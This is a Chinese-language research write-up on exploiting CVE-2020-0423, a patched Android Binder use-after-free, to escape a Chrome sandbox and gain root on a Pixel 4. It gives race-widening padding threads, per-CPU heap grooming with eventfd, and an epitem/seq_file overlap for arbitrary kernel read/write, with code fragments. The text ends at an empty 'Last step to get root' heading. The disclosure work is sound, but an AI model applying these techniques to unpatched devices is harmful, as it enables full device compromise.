作者:360 Alpha Lab 韓洪立,簡容,王曉東,周鵬
原文鏈接:https://vul.360.net/archives/217

在2020年7月,我們向谷歌上報了一條遠程ROOT利用鏈,該利用鏈首次實現了針對谷歌旗艦機型Pixel 4的一鍵遠程ROOT,從而在用戶未察覺的情況下實現對設備的遠程控制。截至漏洞公開前,360 Alpha Lab已協助廠商完成了相關漏洞的修復。該漏洞研究成果也被2021年BlackHat USA會議收錄,相關資料可以這里找到。該項研究成果也因其廣泛的影響力在谷歌2020年官方漏洞獎勵計劃年報中得到了公開致謝,并斬獲“安全界奧斯卡”Pwnie Awards的“史詩級成就”和“最佳提權漏洞”兩大獎項的提名。這條利用鏈也因其廣泛的影響力被我們命名為“颶風山竹”。

在上一篇文章中,我們已經介紹了利用鏈的RCE部分,因此這篇文章將介紹利用鏈的沙箱提權部分。本文將首先對沙箱提權所使用的Binder驅動漏洞(CVE-2020-0423)進行分析,然后介紹在沙箱環境中提權遇到的挑戰及對應的解決方案,最后是我們對這部分內核漏洞利用的總結。

Introduction

Binder是安卓系統中最為核心且廣泛使用的進程間通信方式,這使得系統設計者需要保證上層應用在各種場景下能夠正常調用Binder驅動接口,包括限制最為嚴格的沙箱環境。近年來,Binder模塊先后爆出了多個被證實可以被利用的漏洞,包括我們在2019年發現的“水滴”漏洞(CVE-2019-2025),這個漏洞影響了2016年11月~2019年3月的安卓系統。在此之后,CVE-2019-2215,谷歌Project Zero團隊于2019年9月發現該漏洞存在1-day在野利用,影響Pixel 2及以下機型,后于2019年10月安全公告中修補。CVE-2020-0041,由bluefrostsec團隊發現,是一枚OOB類型的漏洞,影響了2019年2月~2020年3月的安卓系統,影響的設備包括運行Android 10的Pixel 4及Pixel 3/3a XL。除去這些被證實可被利用的漏洞之外,Binder模塊也爆出了一些其他相關的安全問題。按照行業的相關研究結論,大概每1000~1500行代碼中間便會存在一枚漏洞,而Binder驅動核心代碼binder.c文件中只有不到6000行代碼。這不禁讓我們有一個疑問,這個模塊是否還存在此類漏洞呢?這也是本文將要介紹的CVE-2020-0423,也是利用鏈中使用的沙箱逃逸提權漏洞。利用該漏洞實現了僅觸發一次漏洞就拿到了穩定的任意地址讀寫元語,可直接從沙箱逃逸提權至ROOT。實現了僅用兩枚漏洞就打通了整條利用鏈,且該利用方案具備通用性。下文將會將其技術實現細節詳細的分享給大家,以期能夠促進攻防技術的共同進步。

The Bug

一個典型的Binder通信過程大致分為四步:
(1)Client發送BC_TRANSACTION命令到內核;
(2)內核經過處理之后把BC_TRANSACTION轉發到Server;
(3)Server接收到BC_TRANSACTION后開始處理任務,處理完成之后通過BC_REPLY命令把結果返回到內核;
(4)內核經過處理之后把BC_REPLY結果轉發給Client。

Binder進程間通信模型:

Binder支持多種類型的對象傳遞,該漏洞和BINDER_TYPE_BINDER類型的對象傳遞有關。在如下所示的代碼中,首先構造一個flat_binder_object結構體,然后通過BC_TRANSACTION命令發送到內核。

int send_service_handle(struct binder_state *bs, uint32_t target, int code, int handle)
{
    struct flat_binder_object binder_obj; 
    uint64_t offsets = 0;
    int obj_size = sizeof(struct flat_binder_object);
    int offset_size = sizeof(uint64_t);
    int res;

    binder_obj.hdr.type = BINDER_TYPE_BINDER;
    binder_obj.binder = handle;
    binder_obj.cookie = 0xbbbbbbbb;

    res = send_transaction(bs, target, code, &binder_obj, obj_size, &offsets, offset_size);
    return res;
}

一般情況下,當內核接收到BINDER_TYPE_BINDER對象后,會將其轉換成一個binder_node。在轉換的過程中,binder_node結構體中類型為binder_work的成員work將以指針形式插入到當前線程對應的todo鏈表中。同時內核還會給該binder_node創建對應的binder_ref,這樣Server端進程就可以通過該binder_ref找到對應的binder_node。如下圖所示,work會被鏈接到thread->todo 鏈表上。

那么Server可以用這個binder_ref來做什么呢?當Server在使用完對應的binder_obj之后,會給內核發送BC_BUFFER_FREE命令。當內核收到該命令后,就會根據該binder_ref找到對應的binder_node,然后減少引用計數器。當計數器變成0時,該binder_node就會被釋放掉。

與此同時,Client端也能通過發送BINDER_THREAD_EXIT命令訪問到這個binder_work對象。這個命令最終會調用到binder_release_work函數,該函數代碼如下所示。在代碼[1]處,先從todo鏈上取出binder_work,這里有鎖保護,不存在競爭問題。在代碼[2]處,會根據binder_work的type進行相應的清理工作,但是這里沒有鎖保護。

static void binder_release_work(struct binder_proc *proc,
                struct list_head *list)
{
    struct binder_work *w;

    while (1) {
        w = binder_dequeue_work_head(proc, list);   // [1]從鏈上取出w時有鎖保護
        if (!w)
            return;

        switch (w->type) {                          // [2]這里沒有鎖保護,競爭成功會導致UAF問題
        ...
    }
}

因此,Client和Server之間存在條件競爭問題。這個過程可以分為幾步:
1、Client發送BINDER_THREAD_EXIT命令,然后從todo鏈上取出w;
2、Server發送BC_BUFFER_FREE命令,內核根據binder_ref找到binder_node,并減少引用計數至0,使得binder_node被釋放掉;
3、此時binder_work所處內存已經處于釋放狀態,Client訪問w->type就會導致UAF。

Exploitation

前面我們分析了CVE-2020-0423漏洞的原理,接下來我們將給大家介紹如何利用這個漏洞以及這個過程中遇到的一些挑戰。

How to exploit the bug?

經過上面的分析,我們知道這是一個UAF漏洞。這種類型的漏洞利用的關鍵是Use點,從binder_release_work函數的實現可以看到,這里如果我們可以通過堆噴控制type,switch(w->type)就會進入我們需要的分支。

4575 static void binder_release_work(struct binder_proc *proc,
4576                 struct list_head *list)
4577 {
4578     struct binder_work *w;
4579  
4580     while (1) {
4581         w = binder_dequeue_work_head(proc, list);
4582         if (!w)  <---------------------------------------------- [1]
4583             return;
4584  
4585         switch (w->type) { <------------------------------------ [2]
4586         case BINDER_WORK_TRANSACTION: {
4587             struct binder_transaction *t;
4588  
4589             t = container_of(w, struct binder_transaction, work);
4590  
4591             binder_cleanup_transaction(t, "process died.",
4592                            BR_DEAD_REPLY);
4593         } break;
4594         case BINDER_WORK_RETURN_ERROR: {
4595             struct binder_error *e = container_of(
4596                     w, struct binder_error, work);
4597  
4598             binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
4599                 "undelivered TRANSACTION_ERROR: %u\n",
4600                 e->cmd);
4601         } break;
4602         case BINDER_WORK_TRANSACTION_COMPLETE: {
4603             binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
4604                 "undelivered TRANSACTION_COMPLETE\n");
4605             kfree(w);
4606             binder_stats_deleted(BINDER_STAT_TRANSACTION_COMPLETE);
4607         } break;
4608         case BINDER_WORK_DEAD_BINDER_AND_CLEAR:
4609         case BINDER_WORK_CLEAR_DEATH_NOTIFICATION: {
4610             struct binder_ref_death *death;
4611  
4612             death = container_of(w, struct binder_ref_death, work);
4613             binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
4614                 "undelivered death notification, %016llx\n",
4615                 (u64)death->cookie);
4616             kfree(death);
4617             binder_stats_deleted(BINDER_STAT_DEATH);
4618         } break;
4619         default:
4620             pr_err("unexpected work type, %d, not freed\n",
4621                    w->type);
4622             break;
4623         }
4624     }
4626 }

首先,我們假定binder_node對應的地址是X。根據上面的代碼,不同的type值可能導致不同的結果:

(1)type是BINDER_WORK_TRANSACTION,可能觸發double-free問題,但需要滿足較為苛刻的條件,較難控制;

(2)type是BINDER_WORK_RETURN_ERROR,沒有實際影響;

(3)type是BINDER_WORK_TRANSACTION_COMPLETE、BINDER_WORK_DEAD_BINDER_AND_CLEAR和BINDER_WORK_CLEAR_DEATH_NOTIFICATION之一,導致X+8被釋放;

(4)剩下的情況將直接進入default分支。

綜合來看場景(3)流程較為簡單,具備較好的可利用性。

Vision of kernel from sandbox process

由于Binder模塊的特點,通過它可以搭建一條從沙箱進程通往內核的橋梁,但在這條通道上仍有著各種各樣的安全策略來保證系統安全穩定的運行。正常情況下我們只能完成一些被規則允許的事情,而我們發現的這枚漏洞便有可能成為這規則之外的”力量”。我們需要避開這一系列的檢查,與這一“力量”完成一系列的協作、布局,逐步完成對關鍵元素控制,并最后一舉拿下內核的控制權。但想要完成這一切并不容易,在高度沙箱化的進程中實現逃逸一直以來都是極具挑戰性的目標,無論是在各類國際賽事中,還是從安卓歷史上來看,在Pixel系列機型上能夠實現沙箱逃逸都能稱得上是高難度目標,而能夠直接提權至ROOT權限的案例就更是罕見。這主要是由于沙箱進程中一系列限制導致的:

極少的攻擊面

在安卓中只有極少的幾個服務還可以與沙箱中進程通信,我們可以看一下在Android 10上isolated_app域selinux的規則:

system/sepolicy/private/isolated_app.te
# b/17487348
# Isolated apps can only access three services,
# activity_service, display_service, webviewupdate_service, and
# ashmem_device_service.
neverallow isolated_app {
    service_manager_type
    -activity_service
    -ashmem_device_service
    -display_service
    -webviewupdate_service
}:service_manager find;

而到了Android 11上,ashmem_device_service被從中移出,沙箱中進程無法再直接通過請求ashmem_device_service來創建一片ashmem。

在這為數不多的幾個可訪問的Binder服務中,其中的大部分接口調用還會有進步一步的強制檢查來進行封堵。以activity_service為例,在從servicemanager獲取Binder代理后,通過該代理大部分接口都會調用enforceNotIsolatedCaller()來檢查是否為isolated app,對于isolated_app域的進程會直接拋出安全檢查異常。

frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java
public class ActivityManagerService extends IActivityManager.Stub
        implements Watchdog.Monitor, BatteryStatsImpl.BatteryCallback {
    ... skip ...
    private void enforceNotIsolatedCaller(String caller) {
        if (UserHandle.isIsolated(Binder.getCallingUid())) {
            throw new SecurityException("Isolated process not allowed to call " + caller);
        }
    }
    ... skip ...
    @Override
    public boolean clearApplicationUserData(final String packageName, boolean keepState,
            final IPackageDataObserver observer, int userId) {
        enforceNotIsolatedCaller("clearApplicationUserData");
        int uid = Binder.getCallingUid();
        int pid = Binder.getCallingPid();
        final int resolvedUserId = mUserController.handleIncomingUser(pid, uid, userId, false,
                ALLOW_FULL_ONLY, "clearApplicationUserData", null);
        ... skip ...
    }
    ... skip ...
}

而我們發現的這枚CVE-2020-0423漏洞并不擔心這個問題,因為其觸發條件受限極低,僅需能與任意一個Binder服務能夠通信即可,這意味著我們可以通過借助這些能夠被訪問的Binder服務來觸發漏洞。

? 有限的系統調用

諸如綁定CPU這類系統調用在沙箱中不再被支持,這對于利用一些條件競爭類型的UAF漏洞可能會造成限制。

? 受限的文件/設備訪問權限

沙箱進程有著極為嚴格的約束限制,來保證即便通過瀏覽器入口實現了遠程代碼執行,在沙箱中也面臨寸步難行的囧地。尤其是對于文件或設備的寫操作有著極為嚴格的限制。

? 更多的安全防護措施

安卓系統在設計上采用了最小化權限準則,除了約束極為嚴格的selinux策略,在沙箱進程中還采用了BPF安全機制,設備了白名單機制,只有必要的系統的調用才會被加到這個名單中。這也使得我們在編寫漏洞利用時常用的一些系統調用,如CPU/socket/相關的堆噴函數都無法再被調用。

? 在32位的Chrome渲染進程中攻擊64位kernel

同一系統調用,32位和64位場景下特性不一致,這在實際編寫漏洞利用時會遇到很多意料之外的麻煩,甚至導致一些接口無法使用。同時,對于鏡像攻擊這類方法在沙箱進程中無法施展,32位的地址空間是無法構造出鏡像攻擊所需的條件。

安卓內核的經過多年的攻防對抗,其安全性得到了極大的提高,先后引入了包括SELinux, PXN, PAN, KASLR, CFI等一系列防護。想利用這樣一枚自身存在諸多限制的條件競爭型漏洞在沙箱進程中成功完成一系列的提權操作,并能穩定控制住內核,聽起來總有點crazy。這就像在物資極其匱乏的條件下造這枚“核彈頭”,不過好在我們擁有最核心的原料——漏洞。安卓內核經歷了多年的攻防對抗,現有的利用技術也多被封堵,在代表當時谷歌安卓最高防御水平的旗艦機型Pixel 4上實現這樣一條利用鏈,也唯有出奇,才能致勝。接下來的章節會將會帶著大家再度領略這條漏洞利用之路。

How to spray?

對于嘗試利用這類UAF類型的漏洞,第一步依然是從堆噴、劫持執行流開始。我們在上面的章節中討論了漏洞轉化的方向,下一步是選擇堆噴方案。我們必須代碼[1]和代碼[2]這個競爭窗口之間完成三個動作:
1、把binder_node釋放掉;
2、把釋放的slab申請回來;
3、修改type對應的內存。
但這個漏洞留給我們的競爭窗口非常窄,所以我們面臨的第一個問題就是:如何在非常窄的競爭窗口中通過堆噴控制type?

我們有兩種方案:1、擴大競爭窗口;2、讓競爭場景出現的更頻繁

  • 對于第一種方案,我們在CVE-2019-2025“水滴”漏洞利用中使用過一種非常有效的方法。這個漏洞在觸發的時候,會涉及到mutex鎖unlock操作,這個操作最終會調用wake_up_q()函數去喚醒等待同一個mutex鎖的線程。如果我們觸發漏洞的線程與另一個線程(等待同一個互斥鎖)綁定到同一個CPU上,在當前線程調用unlock的時候便會喚醒另一個線程,也就是當前線程會主動讓出CPU,這就給我們留下了足夠多的時間來完成釋放以及后續的堆噴操作。不過,這個方法并不適用于spinlock。
  • 對于第二種方案,常規的解決方案是將存在條件競爭的線程和堆噴的線程綁定到多核CPU的一個核上去執行。 bool bind_cpu(int cpu) { cpu_set_t set;CPU_ZERO(&set); CPU_SET(cpu, &set); if (sched_setaffinity(0, sizeof(set), &set) < 0) { log_err("sched_setafinnity(): %s\n", strerror(errno)); return false; } return true;}

因為不具備第一種方案的條件,所以我們只能使用第二種方案。為了驗證這個方案的可行性,我們嘗試先在untrusted_app域環境中進行測試,在綁定CPU的基礎之上,我們找到了一個可以大幅提高堆噴成功率的方案。因為普通應用可以在untrusted_app域中注冊Service,所以我們可以自己注冊(參考)一個Service,這樣Server端發送BC_BUFFER_FREE命令的時機就是完全可控的。接下來,把觸發漏洞的Client線程、Service線程和堆噴(堆噴我們使用的是sendmsg接口,具體實現上參考了bluefrostsecurity團隊的實現方法)線程綁定到同一個CPU上。做完了這兩步,再去用堆噴去修改w->type的成功率就會大大提高。

但是這個方案無法遷移到沙箱環境中,原因主要是兩個: 1、箱中用于綁定CPU的系統調用被禁用了,這是比較關鍵的原因;2、沙箱環境中不能注冊Service,我們只能使用系統原生的service_manager,這就導致釋放binder_node的過程不可控。因此如果想要在沙箱中利用這個漏洞,必須要解決的第一個問題就是如何觸發漏洞。在這個階段,我們甚至不考慮使用堆噴去修改w->type,因為失去了綁定CPU這個功能的輔助,非常窄的競爭窗口使得漏洞觸發變成了一件幾乎不可能的事。在深入探索之后,我們成功的解決了這個問題,我們不僅可以嘗試布局堆,也可以嘗試布局CPU。我們熟悉的Heap-Fengshui更多的是從空間布局上來思考,而CPU-Fengshui更多的是從時間上思考,通過影響CPU調度來布局進程的在時間上的分布,這種方法也被我們稱為CPU-Fengshui。通過CPU-Fengshui最終來實現各段代碼邏輯在運行時間關系上的排列、布局,如果能通過有限的操作來達到布局CPU的效果,將會為漏洞利用的實現創造條件。

CPU-Fengshui

首先,我們需要思考一個問題——綁定CPU為什么能提高條件競爭的成功率?

Android系統是一個基于Linux內核的分時系統,在分時系統中,內核會把一個時間段切割成多個CPU時間片,然后根據特定的調度算法把這些時間片分配給等待執行的線程。除非線程自己主動放棄CPU,每個線程在使用完自己的時間片后才會被強制讓出CPU。因此,如果將多個存在競爭的線程綁定到同一個CPU上,內核為了保證每個線程都被調度到,那就必須提高切換線程的頻率。線程切換頻率越高,就越有可能在競爭窗口切換出去,從而給堆噴提供機會。沿著這個思路,我們在觸發漏洞代碼中引入了Padding線程。

void *padding_thread(void *arg)
{
    volatile int counter = 0;    

    set_thread_name("padding_thread");
    while(!exploit){
        counter++;
    }

    return NULL;
}

不難看出,Padding線程是一個CPU密集型的線程,它唯一的操作就是對counter做自加一。在引入這個線程之后,我們發現就算沒有CPU綁定,沙箱中也能通過堆噴修改type了,不過漏洞觸發時間依舊不太理想。為了找到最優的Padding線程數量,我們在Pixel 4上做了一個簡單的實驗

從實驗結果可以看到,隨著Padding線程數量的增加,CPU切換線程的次數是在逐步增加的,但當線程數量超過25之后,這個值就進入了一個穩定的狀態。再來看我們關心的漏洞觸發線程(Race Thread),當Padding線程數量介于0~25之間時,CPU切換到漏洞觸發線程的次數會在一定范圍內波動,但當它超過25之后,這個值就呈現明顯的下降趨勢。依據這些數據,我們可以得出一個結論:當Padding線程數量是25左右時,CPU切換最為頻繁,同時漏洞觸發線程獲得CPU的次數也能達到一個較高的區間值。

那么,如果將Padding線程數量設置為25,漏洞觸發時間是否就是最短的呢?有趣的是,實驗結果支持我們的結論。

除了Padding線程數量可以影響漏洞觸發時間之外,線程優先級也能作為一個變量來影響實驗結果。

int setprio(int priority)
{
    int ret;

    ret = setpriority(PRIO_PROCESS, syscall(__NR_gettid), priority);
    if (ret < 0)
        log_err("setpriority failed, ret %d\n", ret);

    return ret;
}

通過這段代碼,我們可以在沙箱中改變當前線程的優先級。因為優先級可以直接影響時間片的大小,所以理論上來說也會影響到漏洞觸發的成功率。不過,我們沒有通過實驗進一步分析這個因素的實際影響,而是采用了一個經驗值,因為此時實際的漏洞觸發時間已經在可接受的范圍內。在調用綁定CPU系統調用場景下,我們可以做到幾秒鐘時間觸發漏洞,而在沙箱環境下,通過這一方法來模擬綁定CPU效果,也可以在十幾秒之內成功觸發漏洞。

Heap-Fengshui

解決了觸發漏洞的問題,我們還需要解決堆布局的問題。在內核中,為了保證堆塊的使用效率,內核在分配堆塊的時候,每個CPU有自己所屬的slab。也就是說,如果CPU-0釋放了一個大小為128的slab,此時CPU-1去申請128大小的slab得到的堆塊并不是CPU-0剛剛釋放的slab,這個slab只有CPU-0自己才能申請回來。但在利用的時候,我們需要提前在內存里面按照特定填充特定的結構體并預留一些空洞。失去了綁定CPU功能的輔助,一個線程在某一時刻所處的CPU是不確定的,那也就意味著這個線程所做的堆塊操作可能不會按照我們預想的方式進行。另一個問題是,我們沒有辦法控制漏洞在哪個CPU上成功觸發,這就要求我們必須給每個CPU都準備獨立的堆布局。

如果我們知道線程當前所屬CPU,然后再根據當前CPU去做相關的堆布局不就可以了嗎?

這樣的思路是沒有問題的,如果我們使用SYS_getcpu去獲取當前CPU,這個問題就可以迎刃而解。但是,沙箱中不允許我們調用這個接口。經過一番探索,我們找到了一個文件/proc/pid/stat,該文件內容如下所示:

1|blueline:/data/local/tmp $ cat /proc/self/stat                                            
15752 (cat) R 13930 15752 13930 34816 15752 4194304 429 0 0 0 0 0 0 0 20 0 1 0 7227643 11032059904 798 18446744073709551615 428734074880 428734523136 549425406096 0 0 0 0 0 1073775864 0 0 0 17 6 0 0 0 0 0 428734545376 428734555736 429511938048 549425407612 549425407632 549425407632 549425410024 0

通過查看Linux幫助文檔,我們可以看到這樣一段話:

(39) processor  %d  (since Linux 2.2.8)
         CPU number last executed on.

為了確定這個值就是線程當前所處CPU,我們去查看了一下內核代碼。從代碼中可以看到,這個信息來自于task_cpu函數,也就是當前線程所屬CPU。

    seq_put_decimal_ull(m, " ", 0);
    seq_put_decimal_ull(m, " ", 0);
    seq_put_decimal_ll(m, " ", task->exit_signal);
    seq_put_decimal_ll(m, " ", task_cpu(task));     <---------------- 獲得線程所屬CPU
    seq_put_decimal_ull(m, " ", task->rt_priority);
    seq_put_decimal_ull(m, " ", task->policy);

確定可以通過/proc/self/stast獲取所屬CPU之后,我們就可以基于特定CPU做堆布局了。

Arbitrary address read/write model

能夠成功實現對噴意味著我們可以控制w->type,從對該漏洞原理的分析,我們可以觸發一個kfree(A+8)的操作。但沙箱中一系列的限制,使得現有的漏洞利用技術無法施展。對于這樣一枚條件競爭類型的漏洞,面對內核的重重防護,如果需要多次觸發漏洞,其穩定性、成功率、利用難度都會成為極大的問題。這讓我們決定從漏洞利用模型的本源上再去重新思考,基于本質原理再尋他路。

Case study

我們總結了安卓ROOT歷史上一些強大的漏洞利用方式,以其中的一些作為例子:

  • put_user/get_user,CVE-2013-6282, ARM平臺沒有校驗地址合法性,使得攻擊者可以通過這兩個系統調用實現任意內核地址讀寫。
  • addr_limit + iovec, 將thread_info->addr_limit修改為0xFFFFFFFFFFFFFFFE來關掉內核對用戶態及內核地址空間地址檢查,進而實現穩定的任意地址讀寫。
  • mmap + ret2dir,最初在2014 USENIX會議上提出。用戶態映射的內存會分配到內核的physmap區域,實際上達到了一種“看不見的”內存共享的效果。用戶態和內核都可以按照各自的地址訪問這片共享內存。
  • KSMA,通過創建新的頁表項來達到一種物理內存共享的效果。
  • mmap + sysctl,最近在CVE-2020-0041漏洞利用中使用的方法.。通過在kern_table中插入一個新的節點,使該節點對應的結構體存儲在用戶態通過mmap分配的內存中,因而攻擊者可在用戶態直接修改該結構體的內容,同時結合sysctl文件自身的功能來實現穩定的任意地址寫。

從上面這幾個例子可以看到其中極為關鍵的兩個基本元素,前兩者為“內存共享”,第三個例子和第四個例子其實是基于“指針控制”,而第五個例子則是同時基于這兩者。這是一個有趣的發現,這些利用方式從本質來看竟有著這般關聯,而其本質原理竟如此簡單。

Arbitrary read/write model

我們不妨基于這兩個元素來構建模型。

  • 內存共享模型

不用限定于具體的是哪種實現方式,需要使其達到物理內存共享的效果,對其中一者(Struct A)的改動可同步影響到另一者(Struct B)。

  • 指針控制模型

指針控制這種場景的關鍵在于找到含有指針成員變量的結構體,且該指針將被用于read/write業務邏輯,比較理想的場景是,可通過調用系統調用穩定的觸發這一read/write業務邏輯。

Exploitation strategies

我們在內核源碼,以及公開資料中尋找適用于這兩種模型的結構體,最后發現了其中的三個結構體。這些結構體像化學試劑一樣,單獨存在時威力有限,而一旦將其按照一定的流程組合起來將會發生奇妙的化學反應,并爆發出強大的威力。

接下來我們來具體看一下這三個結構體的特點。

? 基于Ashmem來實現任意地址讀寫

(gdb) pt /o struct file
/* offset  */  type = struct file {
...skip…
/*  184    */    u64 f_version;
/*  192    */    void *f_security;
/*  200    */    void *private_data;    <---------------- 嘗試控制private_data
/*  208    */    struct list_head {
/*  208    */        struct list_head *next;
/*  216    */        struct list_head *prev;

                       /* total size (bytes):   16 */
                       } f_ep_links;
...skip…
                       /* total size (bytes):  256 */
                    }

這里的private_data會被當做asma使用。

static long ashmem_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
    struct ashmem_area *asma = file->private_data;  <---------------- 在觸發ashmem_ioctl()時,file->private_data會被賦值給asma
    long ret = -ENOTTY;

    switch (cmd) {
    case ASHMEM_SET_NAME:
        ret = set_name(asma, (void __user *)arg);
        break;
    case ASHMEM_GET_NAME:
        ret = get_name(asma, (void __user *)arg);
        break;
    ... skip ...
    return ret;
}

在get_name()函數中可通過(1)(2)兩處代碼邏輯來實現任意地址讀。

static int get_name(struct ashmem_area *asma, void __user *name)
{
  ... skip ...
  if (asma->name[ASHMEM_NAME_PREFIX_LEN] != '\0') {
     ... skip ...
    len = strlen(asma->name + ASHMEM_NAME_PREFIX_LEN) + 1;
    memcpy(local_name, asma->name + ASHMEM_NAME_PREFIX_LEN, len);    <---------------- (1)
  } else {
    len = sizeof(ASHMEM_NAME_DEF);
    memcpy(local_name, ASHMEM_NAME_DEF, len);
  }
   ... skip ...
  if (unlikely(copy_to_user(name, local_name, len)))    <---------------- (2)
    ret = -EFAULT;
  return ret;
}

基于ashmem來實現read

之后可借助set_prot_mask()及set_name()中的兩處代碼邏輯實現任意地址寫。

static int set_prot_mask(struct ashmem_area *asma, unsigned long prot)
{
  …skip…
  /* the user can only remove, not add, protection bits */
  if (unlikely((asma->prot_mask & prot) != prot)) {
    ret = -EINVAL;
    goto out;
  }

  /* does the application expect PROT_READ to imply PROT_EXEC? */
  if ((prot & PROT_READ) && (current->personality & READ_IMPLIES_EXEC))
    prot |= PROT_EXEC;

  asma->prot_mask = prot;    <---------------- 任意地址寫
  …skip…
}

也可通過調用set_name()來實現任意地址寫。

static int set_name(struct ashmem_area *asma, void __user *name)
{
  ... skip ...
  len = strncpy_from_user(local_name, name, ASHMEM_NAME_LEN);
  if (len < 0)
    return len;
  if (len == ASHMEM_NAME_LEN)
    local_name[ASHMEM_NAME_LEN - 1] = '\0';
  mutex_lock(&ashmem_mutex);
  /* cannot change an existing mapping's name */
  if (unlikely(asma->file))
    ret = -EINVAL;
  else
    strcpy(asma->name + ASHMEM_NAME_PREFIX_LEN, local_name);    <---------------- 任意地址寫

  mutex_unlock(&ashmem_mutex);
  return ret;
}

? 基于Seqfile來實現任意地址讀寫

對于seq_file結構體可通過控制buf指針。

struct seq_file                                                                        
{
    char *buf;    <---------------- 嘗試控制buf
    size_t size;
    size_t from;
    size_t count;
    size_t pad_until;
    loff_t index;
    loff_t read_pos;
    u64 version;
    struct mutex lock;
    const struct seq_operations *op;
    int poll_event;
    const struct file *file;
    void *private;
};     

之后便可以借助seq_read()函數中所示代碼邏輯實現任意地址讀。

ssize_t seq_read(struct file *file, char __user *buf, 
        size_t size, loff_t *ppos)
{
    struct seq_file *m = file->private_data; <---------------- m為seq_file類型指針
    ... skip ...
    /* if not empty - flush it first */
    if (m->count) {
        n = min(m->count, size);
        err = copy_to_user(buf, m->buf + m->from, n);    <---------------- 任意地址讀
        ... skip ...
    }
    /* we need at least one record in buffer */
    pos = m->index;
    p = m->op->start(m, &pos);
    ... skip ...
}

調用系統調用comm_show(),通過(1)(2)(3)處所示代碼邏輯便可以實現任意地址寫。

static int comm_show(struct seq_file *m, void *v)
{
    struct inode *inode = m->private;
    struct task_struct *p;
    p = get_proc_task(inode);
    if (!p)
        return -ESRCH;
    task_lock(p);
    seq_printf(m, "%s\n", p->comm); // call seq_printf to write p->comm into seq_file->buf    <---------------- (1)
    task_unlock(p);                                                         
    put_task_struct(p);                                                     
    return 0;                                                               
}

void seq_printf(struct seq_file *m, const char *f, ...)
{
    va_list args;

    va_start(args, f);
    seq_vprintf(m, f, args);    <---------------- (2)
    va_end(args);
}
EXPORT_SYMBOL(seq_printf);

void seq_vprintf(struct seq_file *m, const char *f, 
            va_list args)
{
    int len;
    if (m->count < m->size) {
        len = vsnprintf(m->buf + m->count, m->size - m->count, f, args);    <---------------- (3)
        if (m->count + len < m->size) {                                     
            m->count += len;
            return;
        }
    }
    seq_set_overflow(m);
}

? 基于Epitem來實現固定地址的任意寫

epitem和上面兩個結構體不同,其data字段可通過調用系統調用epoll_ctl()來進行設置,這相當于實現了內核固定地址上穩定的8-bytes任意值寫入。

(gdb) pt /o struct epitem epitem                           
/* offset    |  size */  type = struct epitem {
                       ... skip ...
/*  112      |    16 */    struct epoll_event {
/*  112      |     4 */        __u32 events;
/* XXX  4-byte hole  */
/*  120      |     8 */        __u64 data;    <---------------- 可通過調用系統調用穩定的修改data
                               /* total size (bytes):   16 */
                           } event;
                           /* total size (bytes):  128 */
                         }  
int pfd[2];
int epoll_fd;
struct epoll_event evt;

pipe(pfd);
epoll_fd = epoll_create1(0);
epitem_add(epoll_fd, pfd[0]);

bzero(&evt, sizeof(evt));
evt.events = event;
evt.data.u64 = data;
epoll_ctl(ep, EPOLL_CTL_MOD, epoll_fd, &evt);

Stable arbitrary read/write solution

基于上面這兩種模型,我們可以使用ashmem來搭建一個任意地址讀寫方案。

通過ashmem搭建任意地址讀寫模型

具體實現分為三步:

(1) 泄露file1結構體地址

(2) 泄露file2結構體地址

(3) 同時還需要配合一次任意寫,將private_data1字段內容修改為private_data2所在地址

基于這個模型便可以通過調用上面提及的ashmem的讀寫系統調用來實現任意地址讀寫。但利用這枚漏洞來實現這個方案相對比較苛刻,是否還有更好的方案?答案依然是肯定的,這也是利用中采用的方案——僅通過一次漏洞觸發就拿到了穩定任意地址讀寫元語。

通過一次漏洞觸發實現穩定任意值讀寫的方案

具體實現思路及其特點如下:

  • 通過內存布局使epitem的data字段和seq_file的buf字段重疊
  • epitem與seqfile結構體大小都是 128,可以被分配到同一個頁上
  • double-free后剛好可以構造出一個kfree(A+8)的場景
  • 不需要預先泄露任何信息或配合地址寫能力
  • 搭建完成這套方案便具備了穩定的任意地址讀寫能力。在擁有這樣的能力后,從某種意義上講已經實現了提權。

這個方案從原理上非常強大,但在實際實現時仍然會遇到一些問題。首先遇到的就是堆風水布局問題。

Trouble when doing heap fengshui

在調用系統調用來創建seq_file結構體時,從其業務邏輯實現上來看,會先分配一個op結構體,這兩個結構體成對出現,在內存布局效果上來看如上所示。我們的基本思路是通過進一步的堆布局逐步將其分隔開,但找出這么一個合適的結構體并不容易。在深入探索之后,我們找到了一個eventfd相關的結構體。

該結構具備的特點可以完美的適用于于這一場景:

  • 創建eventfd的系統調用可以在sandbox中訪問
  • 與eventfd相關聯的結構體大小剛好為128
  • 當關閉eventfd時對應的結構體也會同時被釋放
  • 按照特定的順序創建和釋放結構體便可以構造出的如上的布局

Prepare holes with eventfd

這樣我們便可以先創建大量的eventfd來實現內存布局,假設其布局效果如下圖。緊接著,關閉eventfd3,然后關閉eventfd1,其效果如圖中下半部分。

之后打開/proc/self/comm,創建的op及seq_file將分配在已經預先隔開的slab上。再關閉eventfd2便可以在seq_file前留下一個閑置的slab對象。

Build arbitrary read and write

這個問題得到解決后,我們便可以基于該模型來構建任意地址讀寫方案。

具體步驟如下:

  • 堆噴大量的binder_node來填充這些空置slab對象
  • 觸發漏洞,使其釋放kfree(C+8)
  • 堆噴epitem來占用C+8位置

Leak kernel address

在async_todo雙向鏈表在初始化時候prev&next指針會被初始化為自身地址。該binder_node結構體的prev指針地址會被殘留在seq_file的頭部,也即buf指針的位置,這意味著我們找到了一個信息泄露的起始點。

pwndbg> pt/o struct binder_node
/* offset | size */ type = struct binder_node {
/* 0 | 4 */ int debug_id;
/* 4 | 4 */ spinlock_t lock;
... skip ...
/* 112 | 16 */ struct list_head {
/* 112 | 8 */ struct list_head *next;
/* 120 | 8 */ struct list_head *prev;
/* total size (bytes): 16 */
} async_todo;    <---------------- async_todo雙向鏈表
/* total size (bytes): 128 */
}

因為我們在堆上布局了大量的binder_node,所以我們第一步可以泄露出binder_node的內容,從中我們可以直接泄露出binder_proc的地址。接下來步驟就是用epitem把該binder_node替換掉,構建任意讀原語。然后利用該原語,可以依次找到當前線程的task_struct,然后是其所屬的task_group。有了task_group,就可以通過tid找到指定線程的task。沿著這個思路,我們可以獲得需要的所有信息。自此之后,后續的提權成功只是流程和步驟多少的問題。

Last step to get root ?

